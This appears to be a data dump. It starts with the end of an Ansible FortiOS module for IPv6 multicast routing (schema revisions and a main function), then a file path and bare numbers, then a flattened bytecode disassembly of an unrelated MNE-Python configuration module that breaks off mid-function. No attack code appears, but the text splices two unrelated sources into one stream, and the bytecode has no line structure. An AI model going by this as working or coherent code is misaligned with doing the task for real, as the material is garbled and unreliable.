True, "v6.2.5": True, "v6.2.3": True, "v6.2.0": True, "v6.0.5": True, "v6.0.11": True, "v6.0.0": True, }, }, ], }, "interface": { "type": "list", "elements": "dict", "children": { "name": { "revisions": { "v7.4.1": True, "v7.4.0": True, "v7.2.4": True, "v7.2.2": True, "v7.2.1": True, "v7.2.0": True, "v7.0.8": True, "v7.0.7": True, "v7.0.6": True, "v7.0.5": True, "v7.0.4": True, "v7.0.3": True, "v7.0.2": True, "v7.0.12": True, "v7.0.1": True, "v7.0.0": True, "v6.4.4": True, "v6.4.1": True, "v6.4.0": True, "v6.2.7": True, "v6.2.5": True, "v6.2.3": True, "v6.2.0": True, "v6.0.5": True, "v6.0.11": True, "v6.0.0": True, }, "type": "string", "required": True, }, "hello_interval": { "revisions": { "v7.4.1": True, "v7.4.0": True, "v7.2.4": True, "v7.2.2": True, "v7.2.1": True, "v7.2.0": True, "v7.0.8": True, "v7.0.7": True, "v7.0.6": True, "v7.0.5": True, "v7.0.4": True, "v7.0.3": True, "v7.0.2": True, "v7.0.12": True, "v7.0.1": True, "v7.0.0": True, "v6.4.4": True, "v6.4.1": True, "v6.4.0": True, "v6.2.7": True, "v6.2.5": True, "v6.2.3": True, "v6.2.0": True, "v6.0.5": True, "v6.0.11": True, "v6.0.0": True, }, "type": "integer", }, "hello_holdtime": { "revisions": { "v7.4.1": True, "v7.4.0": True, "v7.2.4": True, "v7.2.2": True, "v7.2.1": True, "v7.2.0": True, "v7.0.8": True, "v7.0.7": True, "v7.0.6": True, "v7.0.5": True, "v7.0.4": True, "v7.0.3": True, "v7.0.2": True, "v7.0.12": True, "v7.0.1": True, "v7.0.0": True, "v6.4.4": True, "v6.4.1": True, "v6.4.0": True, "v6.2.7": True, "v6.2.5": True, "v6.2.3": True, "v6.2.0": True, "v6.0.5": True, "v6.0.11": True, "v6.0.0": True, }, "type": "integer", }, }, "revisions": { "v7.4.1": True, "v7.4.0": True, "v7.2.4": True, "v7.2.2": True, "v7.2.1": True, "v7.2.0": True, "v7.0.8": True, "v7.0.7": True, "v7.0.6": True, "v7.0.5": True, "v7.0.4": True, "v7.0.3": True, "v7.0.2": True, "v7.0.12": True, "v7.0.1": True, "v7.0.0": True, "v6.4.4": True, "v6.4.1": True, "v6.4.0": True, "v6.2.7": True, "v6.2.5": True, "v6.2.3": True, "v6.2.0": True, "v6.0.5": True, "v6.0.11": True, "v6.0.0": True, }, }, "pim_sm_global": { "revisions": { "v7.4.1": True, "v7.4.0": True, "v7.2.4": True, "v7.2.2": True, "v7.2.1": True, "v7.2.0": True, "v7.0.8": True, "v7.0.7": True, "v7.0.6": True, "v7.0.5": True, "v7.0.4": True, "v7.0.3": True, "v7.0.2": True, "v7.0.12": True, "v7.0.1": True, "v7.0.0": True, "v6.4.4": True, "v6.4.1": True, "v6.4.0": True, "v6.2.7": True, "v6.2.5": True, "v6.2.3": True, "v6.2.0": True, "v6.0.5": True, "v6.0.11": True, "v6.0.0": True, }, "type": "dict", "children": { "register_rate_limit": { "revisions": { "v7.4.1": True, "v7.4.0": True, "v7.2.4": True, "v7.2.2": True, "v7.2.1": True, "v7.2.0": True, "v7.0.8": True, "v7.0.7": True, "v7.0.6": True, "v7.0.5": True, "v7.0.4": True, "v7.0.3": True, "v7.0.2": True, "v7.0.12": True, "v7.0.1": True, "v7.0.0": True, "v6.4.4": True, "v6.4.1": True, "v6.4.0": True, "v6.2.7": True, "v6.2.5": True, "v6.2.3": True, "v6.2.0": True, "v6.0.5": True, "v6.0.11": True, "v6.0.0": True, }, "type": "integer", }, "rp_address": { "type": "list", "elements": "dict", "children": { "id": { "revisions": { "v7.4.1": True, "v7.4.0": True, "v7.2.4": True, "v7.2.2": True, "v7.2.1": True, "v7.2.0": True, "v7.0.8": True, "v7.0.7": True, "v7.0.6": True, "v7.0.5": True, "v7.0.4": True, "v7.0.3": True, "v7.0.2": True, "v7.0.12": True, "v7.0.1": True, "v7.0.0": True, "v6.4.4": True, "v6.4.1": True, "v6.4.0": True, "v6.2.7": True, "v6.2.5": True, "v6.2.3": True, "v6.2.0": True, "v6.0.5": True, "v6.0.11": True, "v6.0.0": True, }, "type": "integer", "required": True, }, "ip6_address": { "revisions": { "v7.4.1": True, "v7.4.0": True, "v7.2.4": True, "v7.2.2": True, "v7.2.1": True, "v7.2.0": True, "v7.0.8": True, "v7.0.7": True, "v7.0.6": True, "v7.0.5": True, "v7.0.4": True, "v7.0.3": True, "v7.0.2": True, "v7.0.12": True, "v7.0.1": True, "v7.0.0": True, "v6.4.4": True, "v6.4.1": True, "v6.4.0": True, "v6.2.7": True, "v6.2.5": True, "v6.2.3": True, "v6.2.0": True, "v6.0.5": True, "v6.0.11": True, "v6.0.0": True, }, "type": "string", }, }, "revisions": { "v7.4.1": True, "v7.4.0": True, "v7.2.4": True, "v7.2.2": True, "v7.2.1": True, "v7.2.0": True, "v7.0.8": True, "v7.0.7": True, "v7.0.6": True, "v7.0.5": True, "v7.0.4": True, "v7.0.3": True, "v7.0.2": True, "v7.0.12": True, "v7.0.1": True, "v7.0.0": True, "v6.4.4": True, "v6.4.1": True, "v6.4.0": True, "v6.2.7": True, "v6.2.5": True, "v6.2.3": True, "v6.2.0": True, "v6.0.5": True, "v6.0.11": True, "v6.0.0": True, }, }, }, }, }, } def main(): module_spec = schema_to_module_spec(versioned_schema) mkeyname = None fields = { "access_token": {"required": False, "type": "str", "no_log": True}, "enable_log": {"required": False, "type": "bool", "default": False}, "vdom": {"required": False, "type": "str", "default": "root"}, "member_path": {"required": False, "type": "str"}, "member_state": { "type": "str", "required": False, "choices": ["present", "absent"], }, "router_multicast6": { "required": False, "type": "dict", "default": None, "options": {}, }, } for attribute_name in module_spec["options"]: fields["router_multicast6"]["options"][attribute_name] = module_spec["options"][ attribute_name ] if mkeyname and mkeyname == attribute_name: fields["router_multicast6"]["options"][attribute_name]["required"] = True module = AnsibleModule(argument_spec=fields, supports_check_mode=False) check_legacy_fortiosapi(module) is_error = False has_changed = False result = None diff = None versions_check_result = None if module._socket_path: connection = Connection(module._socket_path) if "access_token" in module.params: connection.set_option("access_token", module.params["access_token"]) if "enable_log" in module.params: connection.set_option("enable_log", module.params["enable_log"]) else: connection.set_option("enable_log", False) fos = FortiOSHandler(connection, module, mkeyname) versions_check_result = check_schema_versioning( fos, versioned_schema, "router_multicast6" ) is_error, has_changed, result, diff = fortios_router(module.params, fos) else: module.fail_json(**FAIL_SOCKET_MSG) if versions_check_result and versions_check_result["matched"] is False: module.warn( "Ansible has detected version mismatch between FortOS system and your playbook, see more details by specifying option -vvv" ) if not is_error: if versions_check_result and versions_check_result["matched"] is False: module.exit_json( changed=has_changed, version_check_warning=versions_check_result, meta=result, diff=diff, ) else: module.exit_json(changed=has_changed, meta=result, diff=diff) else: if versions_check_result and versions_check_result["matched"] is False: module.fail_json( msg="Error in repo", version_check_warning=versions_check_result, meta=result, ) else: module.fail_json(msg="Error in repo", meta=result) if __name__ == "__main__": main()
data/ansible-9.2.0/ansible_collections/fortinet/fortios/plugins/modules/fortios_router_multicast6.py
10,007
9,018
303
LOAD_CONST 'The config functions.' STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST None IMPORT_NAME atexit STORE_NAME atexit LOAD_CONST 0 LOAD_CONST None IMPORT_NAME json STORE_NAME json LOAD_CONST 0 LOAD_CONST None IMPORT_NAME multiprocessing STORE_NAME multiprocessing LOAD_CONST 0 LOAD_CONST None IMPORT_NAME os STORE_NAME os LOAD_CONST 0 LOAD_CONST None IMPORT_NAME os.path IMPORT_FROM path STORE_NAME op POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME platform STORE_NAME platform LOAD_CONST 0 LOAD_CONST None IMPORT_NAME re STORE_NAME re LOAD_CONST 0 LOAD_CONST None IMPORT_NAME shutil STORE_NAME shutil LOAD_CONST 0 LOAD_CONST None IMPORT_NAME subprocess STORE_NAME subprocess LOAD_CONST 0 LOAD_CONST None IMPORT_NAME sys STORE_NAME sys LOAD_CONST 0 LOAD_CONST None IMPORT_NAME tempfile STORE_NAME tempfile LOAD_CONST 0 LOAD_CONST ('lru_cache', 'partial') IMPORT_NAME functools IMPORT_FROM lru_cache STORE_NAME lru_cache IMPORT_FROM partial STORE_NAME partial POP_TOP LOAD_CONST 0 LOAD_CONST ('import_module',) IMPORT_NAME importlib IMPORT_FROM import_module STORE_NAME import_module POP_TOP LOAD_CONST 0 LOAD_CONST ('Path',) IMPORT_NAME pathlib IMPORT_FROM Path STORE_NAME Path POP_TOP LOAD_CONST 0 LOAD_CONST ('URLError',) IMPORT_NAME urllib.error IMPORT_FROM URLError STORE_NAME URLError POP_TOP LOAD_CONST 0 LOAD_CONST ('urlopen',) IMPORT_NAME urllib.request IMPORT_FROM urlopen STORE_NAME urlopen POP_TOP LOAD_CONST 0 LOAD_CONST ('parse',) IMPORT_NAME packaging.version IMPORT_FROM parse STORE_NAME parse POP_TOP LOAD_CONST 1 LOAD_CONST ('logger', 'warn') IMPORT_NAME _logging IMPORT_FROM logger STORE_NAME logger IMPORT_FROM warn STORE_NAME warn POP_TOP LOAD_CONST 1 LOAD_CONST ('_check_fname', '_check_option', '_check_qt_version', '_validate_type') IMPORT_NAME check IMPORT_FROM _check_fname STORE_NAME _check_fname IMPORT_FROM _check_option STORE_NAME _check_option IMPORT_FROM _check_qt_version STORE_NAME _check_qt_version IMPORT_FROM _validate_type STORE_NAME _validate_type POP_TOP LOAD_CONST 1 LOAD_CONST ('fill_doc',) IMPORT_NAME docs IMPORT_FROM fill_doc STORE_NAME fill_doc POP_TOP LOAD_CONST 1 LOAD_CONST ('_pl',) IMPORT_NAME misc IMPORT_FROM _pl STORE_NAME _pl POP_TOP LOAD_CONST None STORE_GLOBAL _temp_home_dir LOAD_CONST <code object set_cache_dir at 0x7f8aefa24810, file "f.py", line 31> LOAD_CONST 'set_cache_dir' MAKE_FUNCTION STORE_NAME set_cache_dir LOAD_CONST <code object set_memmap_min_size at 0x7f8ed39ed6f0, file "f.py", line 50> LOAD_CONST 'set_memmap_min_size' MAKE_FUNCTION STORE_NAME set_memmap_min_size LOAD_CONST 'bool, whether to use full-screen antialiasing in 3D plots' LOAD_CONST 'bool, whether to use depth peeling in 3D plots' LOAD_CONST 'int, number of samples to use for full-screen antialiasing' LOAD_CONST 'bool, whether to use smooth shading in 3D plots' LOAD_CONST 'str, the color theme (light or dark) to use for 3D plots' LOAD_CONST 'tuple, width and height of the raw browser window (in inches)' LOAD_CONST 'str, the backend to use for the MNE Browse Raw window (qt or matplotlib)' LOAD_CONST 'str, the overview mode to use in the MNE Browse Raw window )(see mne.viz.plot_raw for valid options)' LOAD_CONST 'bool, whether to precompute raw data in the MNE Browse Raw window' LOAD_CONST 'str, the color theme (light or dark) to use for the browser' LOAD_CONST 'bool, whether to use OpenGL for rendering in the MNE Browse Raw window' LOAD_CONST 'str, path to the cache directory for parallel execution' LOAD_CONST 'bool, whether to use advanced OpenGL rendering in mne coreg' LOAD_CONST 'bool, whether to copy the annotation files during warping' LOAD_CONST 'bool, whether to use full-screen mode in mne coreg' LOAD_CONST 'bool, whether to guess the MRI subject in mne coreg' LOAD_CONST 'bool, whether to use high-res head surface in mne coreg' LOAD_CONST 'bool, the head surface opacity to use in mne coreg' LOAD_CONST 'bool, whether to add an opaque inner scalp head surface to help occlude points behind the head in mne coreg' LOAD_CONST 'str, interaction style in mne coreg (trackball or terrain)' LOAD_CONST 'bool, whether to mark points inside the head surface in mne coreg' LOAD_CONST 'bool, whether to prepare the BEM solution after warping in mne coreg' LOAD_CONST 'bool, whether to orient the digitization markers to the head surface in mne coreg' LOAD_CONST 'bool, whether to scale the MRI labels during warping in mne coreg' LOAD_CONST 'bool, whether to scale the digitization markers by their distance from the scalp in mne coreg' LOAD_CONST 'float, the scale factor of the 3D scene in mne coreg (default 0.16)' LOAD_CONST 'int, window height for mne coreg' LOAD_CONST 'int, window width for mne coreg' LOAD_CONST 'str, path to the subjects directory for mne coreg' LOAD_CONST 'int, CUDA device to use for GPU processing' LOAD_CONST 'str, default data directory' LOAD_CONST 'str, path for brainstorm data' LOAD_CONST 'str, path for EEGBCI data' LOAD_CONST 'str, path for epilepsy_ecog data' LOAD_CONST 'str, path for HF_SEF data' LOAD_CONST 'str, path for MEGSIM data' LOAD_CONST 'str, path for misc data' LOAD_CONST 'str, path for MTRF data' LOAD_CONST 'str, path for sample data' LOAD_CONST 'str, path for somato data' LOAD_CONST 'str, path for multimodal data' LOAD_CONST 'str, path for fnirs_motor data' LOAD_CONST 'str, path for OPM data' LOAD_CONST 'str, path for spm_face data' LOAD_CONST 'str, path for spm_face data' LOAD_CONST 'str, path for testing data' LOAD_CONST 'str, path for visual_92_categories data' LOAD_CONST 'str, path for kiloword data' LOAD_CONST 'str, path for fieldtrip_cmc data' LOAD_CONST 'str, path for phantom_kit data' LOAD_CONST 'str, path for phantom_4dbti data' LOAD_CONST 'str, path for phantom_kernel data' LOAD_CONST 'str, path for limo data' LOAD_CONST 'str, path for refmeg_noise data' LOAD_CONST 'str, path for ssvep data' LOAD_CONST 'str, path for erp_core data' LOAD_CONST 'bool, force serial rather than parallel execution' LOAD_CONST 'str or int, controls the level of verbosity of any function decorated with @verbose. See https://mne.tools/stable/auto_tutorials/intro/50_configure_mne.html#logging' LOAD_CONST 'str, threshold on the minimum size of arrays passed to the workers that triggers automated memory mapping, e.g., 1M or 0.5G' LOAD_CONST 'bool, represent some of our objects with rich HTML in a notebook environment' LOAD_CONST 'bool, used in a test decorator (@requires_good_network) to skip tests that include large downloads' LOAD_CONST 'bool, used in test decorators (@requires_spm_data, @requires_bstraw_data) to skip tests that require specific datasets' LOAD_CONST 'string, the default channel name for mne.find_events' LOAD_CONST 'str, either "tqdm", "tqdm.auto", or "off". Controls presence/absence of progress bars' LOAD_CONST 'bool, use GPU for filtering/resampling' LOAD_CONST 'bool, use Numba just-in-time compiler for some of our intensive computations' LOAD_CONST 'path-like, directory of freesurfer MRI files for each subject' LOAD_CONST ('MNE_3D_OPTION_ANTIALIAS', 'MNE_3D_OPTION_DEPTH_PEELING', 'MNE_3D_OPTION_MULTI_SAMPLES', 'MNE_3D_OPTION_SMOOTH_SHADING', 'MNE_3D_OPTION_THEME', 'MNE_BROWSE_RAW_SIZE', 'MNE_BROWSER_BACKEND', 'MNE_BROWSER_OVERVIEW_MODE', 'MNE_BROWSER_PRECOMPUTE', 'MNE_BROWSER_THEME', 'MNE_BROWSER_USE_OPENGL', 'MNE_CACHE_DIR', 'MNE_COREG_ADVANCED_RENDERING', 'MNE_COREG_COPY_ANNOT', 'MNE_COREG_FULLSCREEN', 'MNE_COREG_GUESS_MRI_SUBJECT', 'MNE_COREG_HEAD_HIGH_RES', 'MNE_COREG_HEAD_OPACITY', 'MNE_COREG_HEAD_INSIDE', 'MNE_COREG_INTERACTION', 'MNE_COREG_MARK_INSIDE', 'MNE_COREG_PREPARE_BEM', 'MNE_COREG_ORIENT_TO_SURFACE', 'MNE_COREG_SCALE_LABELS', 'MNE_COREG_SCALE_BY_DISTANCE', 'MNE_COREG_SCENE_SCALE', 'MNE_COREG_WINDOW_HEIGHT', 'MNE_COREG_WINDOW_WIDTH', 'MNE_COREG_SUBJECTS_DIR', 'MNE_CUDA_DEVICE', 'MNE_DATA', 'MNE_DATASETS_BRAINSTORM_PATH', 'MNE_DATASETS_EEGBCI_PATH', 'MNE_DATASETS_EPILEPSY_ECOG_PATH', 'MNE_DATASETS_HF_SEF_PATH', 'MNE_DATASETS_MEGSIM_PATH', 'MNE_DATASETS_MISC_PATH', 'MNE_DATASETS_MTRF_PATH', 'MNE_DATASETS_SAMPLE_PATH', 'MNE_DATASETS_SOMATO_PATH', 'MNE_DATASETS_MULTIMODAL_PATH', 'MNE_DATASETS_FNIRS_MOTOR_PATH', 'MNE_DATASETS_OPM_PATH', 'MNE_DATASETS_SPM_FACE_DATASETS_TESTS', 'MNE_DATASETS_SPM_FACE_PATH', 'MNE_DATASETS_TESTING_PATH', 'MNE_DATASETS_VISUAL_92_CATEGORIES_PATH', 'MNE_DATASETS_KILOWORD_PATH', 'MNE_DATASETS_FIELDTRIP_CMC_PATH', 'MNE_DATASETS_PHANTOM_KIT_PATH', 'MNE_DATASETS_PHANTOM_4DBTI_PATH', 'MNE_DATASETS_PHANTOM_KERNEL_PATH', 'MNE_DATASETS_LIMO_PATH', 'MNE_DATASETS_REFMEG_NOISE_PATH', 'MNE_DATASETS_SSVEP_PATH', 'MNE_DATASETS_ERP_CORE_PATH', 'MNE_FORCE_SERIAL', 'MNE_LOGGING_LEVEL', 'MNE_MEMMAP_MIN_SIZE', 'MNE_REPR_HTML', 'MNE_SKIP_NETWORK_TESTS', 'MNE_SKIP_TESTING_DATASET_TESTS', 'MNE_STIM_CHANNEL', 'MNE_TQDM', 'MNE_USE_CUDA', 'MNE_USE_NUMBA', 'SUBJECTS_DIR') BUILD_CONST_KEY_MAP STORE_NAME _known_config_types LOAD_CONST ('MNE_STIM_CHANNEL', 'MNE_DATASETS_FNIRS', 'MNE_NIRS', 'MNE_KIT2FIFF', 'MNE_ICALABEL') STORE_NAME _known_config_wildcards LOAD_CONST (False,) LOAD_CONST <code object _load_config at 0x7f8ece8a8030, file "f.py", line 214> LOAD_CONST '_load_config' MAKE_FUNCTION STORE_NAME _load_config LOAD_CONST (None,) LOAD_CONST <code object get_config_path at 0x7f8ece8a8390, file "f.py", line 231> LOAD_CONST 'get_config_path' MAKE_FUNCTION STORE_NAME get_config_path LOAD_CONST (None, None, False, None, True) LOAD_CONST <code object get_config at 0x7f8af162e0c0, file "f.py", line 251> LOAD_CONST 'get_config' MAKE_FUNCTION STORE_NAME get_config LOAD_CONST (None, True) LOAD_CONST <code object set_config at 0x7f8af162eae0, file "f.py", line 329> LOAD_CONST 'set_config' MAKE_FUNCTION STORE_NAME set_config LOAD_CONST (None,) LOAD_CONST <code object _get_extra_data_path at 0x7f8af162e8a0, file "f.py", line 389> LOAD_CONST '_get_extra_data_path' MAKE_FUNCTION STORE_NAME _get_extra_data_path LOAD_CONST (None, False) LOAD_CONST <code object get_subjects_dir at 0x7f8af162eb70, file "f.py", line 432> LOAD_CONST 'get_subjects_dir' MAKE_FUNCTION STORE_NAME get_subjects_dir LOAD_NAME fill_doc LOAD_CONST (True,) LOAD_CONST <code object _get_stim_channel at 0x7f8af162e780, file "f.py", line 462> LOAD_CONST '_get_stim_channel' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _get_stim_channel LOAD_CONST <code object _get_root_dir at 0x7f8af162e9c0, file "f.py", line 516> LOAD_CONST '_get_root_dir' MAKE_FUNCTION STORE_NAME _get_root_dir LOAD_CONST <code object _get_numpy_libs at 0x7f8af162e4b0, file "f.py", line 527> LOAD_CONST '_get_numpy_libs' MAKE_FUNCTION STORE_NAME _get_numpy_libs LOAD_CONST 'from pyvista import GPUInfo; gi = GPUInfo(); print(gi.version); print(gi.renderer)' STORE_NAME _gpu_cmd LOAD_NAME lru_cache LOAD_CONST 1 LOAD_CONST ('maxsize',) CALL_FUNCTION LOAD_CONST <code object _get_gpu_info at 0x7f8e2ff25540, file "f.py", line 555> LOAD_CONST '_get_gpu_info' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _get_gpu_info LOAD_CONST (None, False) LOAD_CONST 'user' LOAD_CONST True LOAD_CONST True LOAD_CONST ('dependencies', 'unicode', 'check_version') BUILD_CONST_KEY_MAP LOAD_CONST <code object sys_info at 0x7f8e2ff258a0, file "f.py", line 566> LOAD_CONST 'sys_info' MAKE_FUNCTION STORE_NAME sys_info LOAD_CONST <code object _get_latest_version at 0x7f8e2ff25ed0, file "f.py", line 770> LOAD_CONST '_get_latest_version' MAKE_FUNCTION STORE_NAME _get_latest_version LOAD_CONST <code object _check_mne_version at 0x7f8e2ff250c0, file "f.py", line 786> LOAD_CONST '_check_mne_version' MAKE_FUNCTION STORE_NAME _check_mne_version LOAD_CONST None RETURN_VALUE LOAD_FAST cache_dir LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL op LOAD_METHOD exists LOAD_FAST cache_dir CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL OSError LOAD_CONST 'Directory %s does not exist' LOAD_FAST cache_dir BINARY_MODULO CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL set_config LOAD_CONST 'MNE_CACHE_DIR' LOAD_FAST cache_dir LOAD_CONST False LOAD_CONST ('set_env',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _validate_type LOAD_FAST memmap_min_size LOAD_GLOBAL str LOAD_CONST None BUILD_TUPLE LOAD_CONST 'memmap_min_size' CALL_FUNCTION POP_TOP LOAD_FAST memmap_min_size LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST memmap_min_size LOAD_CONST -1 BINARY_SUBSCR LOAD_CONST ('K', 'M', 'G') COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'The size has to be given in kilo-, mega-, or gigabytes, e.g., 100K, 500M, 1G, got ' LOAD_GLOBAL repr LOAD_FAST memmap_min_size CALL_FUNCTION FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL set_config LOAD_CONST 'MNE_MEMMAP_MIN_SIZE' LOAD_FAST memmap_min_size LOAD_CONST False LOAD_CONST ('set_env',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL open LOAD_FAST config_path LOAD_CONST 'r' CALL_FUNCTION SETUP_WITH to 86 STORE_FAST fid SETUP_EXCEPT to 28 LOAD_GLOBAL json LOAD_METHOD load LOAD_FAST fid CALL_METHOD STORE_FAST config POP_BLOCK JUMP_FORWARD to 82 DUP_TOP LOAD_GLOBAL ValueError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_CONST 'The MNE-Python config file (%s) is not a valid JSON file and might be corrupted' LOAD_FAST config_path BINARY_MODULO STORE_FAST msg LOAD_FAST raise_error POP_JUMP_IF_FALSE LOAD_GLOBAL RuntimeError LOAD_FAST msg CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL warn LOAD_FAST msg CALL_FUNCTION POP_TOP LOAD_GLOBAL dict CALL_FUNCTION STORE_FAST config POP_EXCEPT JUMP_FORWARD to 82 END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST config RETURN_VALUE LOAD_GLOBAL op LOAD_METHOD join LOAD_GLOBAL _get_extra_data_path LOAD_FAST home_dir LOAD_CONST ('home_dir',) CALL_FUNCTION LOAD_CONST 'mne-python.json' CALL_METHOD STORE_FAST val LOAD_FAST val RETURN_VALUE LOAD_GLOBAL _validate_type LOAD_FAST key LOAD_GLOBAL str LOAD_GLOBAL type LOAD_CONST None CALL_FUNCTION BUILD_TUPLE LOAD_CONST 'key' LOAD_CONST 'string or None' CALL_FUNCTION POP_TOP LOAD_FAST key LOAD_CONST '' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL _known_config_types LOAD_METHOD copy CALL_METHOD RETURN_VALUE LOAD_FAST use_env POP_JUMP_IF_FALSE LOAD_FAST key LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST key LOAD_GLOBAL os LOAD_ATTR environ COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL os LOAD_ATTR environ LOAD_FAST key BINARY_SUBSCR RETURN_VALUE LOAD_GLOBAL get_config_path LOAD_FAST home_dir LOAD_CONST ('home_dir',) CALL_FUNCTION STORE_FAST config_path LOAD_GLOBAL op LOAD_METHOD isfile LOAD_FAST config_path CALL_METHOD POP_JUMP_IF_TRUE BUILD_MAP STORE_FAST config JUMP_FORWARD to 104 LOAD_GLOBAL _load_config LOAD_FAST config_path CALL_FUNCTION STORE_FAST config LOAD_FAST key LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST use_env POP_JUMP_IF_FALSE LOAD_GLOBAL set LOAD_FAST config CALL_FUNCTION LOAD_METHOD union LOAD_GLOBAL _known_config_types CALL_METHOD LOAD_METHOD intersection LOAD_GLOBAL os LOAD_ATTR environ CALL_METHOD STORE_FAST env_keys LOAD_FAST config LOAD_METHOD update LOAD_CONST <code object <dictcomp> at 0x7f8ece8a8c00, file "f.py", line 302> LOAD_CONST 'get_config.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST env_keys GET_ITER CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST config RETURN_VALUE LOAD_FAST raise_error LOAD_CONST True COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST key LOAD_FAST config COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_FAST use_env POP_JUMP_IF_FALSE LOAD_CONST 'the environment or in the ' JUMP_FORWARD to 188 LOAD_CONST '' STORE_FAST loc_env LOAD_FAST use_env POP_JUMP_IF_FALSE LOAD_CONST 'either os.environ["%s"] = VALUE for a temporary solution, or ' LOAD_FAST key BINARY_MODULO JUMP_FORWARD to 204 LOAD_CONST '' STORE_FAST meth_env LOAD_FAST use_env POP_JUMP_IF_FALSE LOAD_CONST ' You can also set the environment variable before running python.' JUMP_FORWARD to 216 LOAD_CONST '' STORE_FAST extra_env LOAD_CONST 'mne.utils.set_config("%s", VALUE, set_env=True) for a permanent one' LOAD_FAST key BINARY_MODULO STORE_FAST meth_file LOAD_GLOBAL KeyError LOAD_CONST 'Key "%s" not found in %sthe mne-python config file (%s). Try %s%s.%s' LOAD_FAST key LOAD_FAST loc_env LOAD_FAST config_path LOAD_FAST meth_env LOAD_FAST meth_file LOAD_FAST extra_env BUILD_TUPLE BINARY_MODULO CALL_FUNCTION RAISE_VARARGS JUMP_FORWARD to 264 LOAD_FAST config LOAD_METHOD get LOAD_FAST key LOAD_FAST default CALL_METHOD RETURN_VALUE LOAD_CONST None RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 22 STORE_FAST key LOAD_GLOBAL os LOAD_ATTR environ LOAD_FAST key BINARY_SUBSCR LOAD_FAST key MAP_ADD JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL _validate_type LOAD_DEREF key LOAD_CONST 'str' LOAD_CONST 'key' CALL_FUNCTION POP_TOP LOAD_GLOBAL _validate_type LOAD_FAST value LOAD_GLOBAL str LOAD_CONST 'path-like' LOAD_GLOBAL type LOAD_CONST None CALL_FUNCTION BUILD_TUPLE LOAD_CONST 'value' CALL_FUNCTION POP_TOP LOAD_FAST value LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL str LOAD_FAST value CALL_FUNCTION STORE_FAST value LOAD_DEREF key LOAD_GLOBAL _known_config_types COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL any LOAD_CLOSURE key BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7f8af162ef60, file "f.py", line 356> LOAD_CONST 'set_config.<locals>.<genexpr>' MAKE_FUNCTION LOAD_GLOBAL _known_config_wildcards GET_ITER CALL_FUNCTION CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL warn LOAD_CONST 'Setting non-standard config type: "%s"' LOAD_DEREF key BINARY_MODULO CALL_FUNCTION POP_TOP LOAD_GLOBAL get_config_path LOAD_FAST home_dir LOAD_CONST ('home_dir',) CALL_FUNCTION STORE_FAST config_path LOAD_GLOBAL op LOAD_METHOD isfile LOAD_FAST config_path CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL _load_config LOAD_FAST config_path LOAD_CONST True LOAD_CONST ('raise_error',) CALL_FUNCTION STORE_FAST config JUMP_FORWARD to 146 LOAD_GLOBAL dict CALL_FUNCTION STORE_FAST config LOAD_GLOBAL logger LOAD_METHOD info LOAD_CONST 'Attempting to create new mne-python configuration file:\n%s' LOAD_FAST config_path BINARY_MODULO CALL_METHOD POP_TOP LOAD_FAST value LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST config LOAD_METHOD pop LOAD_DEREF key LOAD_CONST None CALL_METHOD POP_TOP LOAD_FAST set_env POP_JUMP_IF_FALSE LOAD_DEREF key LOAD_GLOBAL os LOAD_ATTR environ COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL os LOAD_ATTR environ LOAD_DEREF key DELETE_SUBSCR JUMP_FORWARD to 240 LOAD_FAST value LOAD_FAST config LOAD_DEREF key STORE_SUBSCR LOAD_FAST set_env POP_JUMP_IF_FALSE LOAD_FAST value LOAD_GLOBAL os LOAD_ATTR environ LOAD_DEREF key STORE_SUBSCR LOAD_DEREF key LOAD_CONST 'MNE_BROWSER_BACKEND' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 2 LOAD_CONST ('set_browser_backend',) IMPORT_NAME viz._figure IMPORT_FROM set_browser_backend STORE_FAST set_browser_backend POP_TOP LOAD_FAST set_browser_backend LOAD_FAST value CALL_FUNCTION POP_TOP LOAD_GLOBAL op LOAD_METHOD dirname LOAD_FAST config_path CALL_METHOD STORE_FAST directory LOAD_GLOBAL op LOAD_METHOD isdir LOAD_FAST directory CALL_METHOD EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL os LOAD_METHOD mkdir LOAD_FAST directory CALL_METHOD POP_TOP LOAD_GLOBAL open LOAD_FAST config_path LOAD_CONST 'w' CALL_FUNCTION SETUP_WITH to 306 STORE_FAST fid LOAD_GLOBAL json LOAD_ATTR dump LOAD_FAST config LOAD_FAST fid LOAD_CONST True LOAD_CONST 0 LOAD_CONST ('sort_keys', 'indent') CALL_FUNCTION POP_TOP 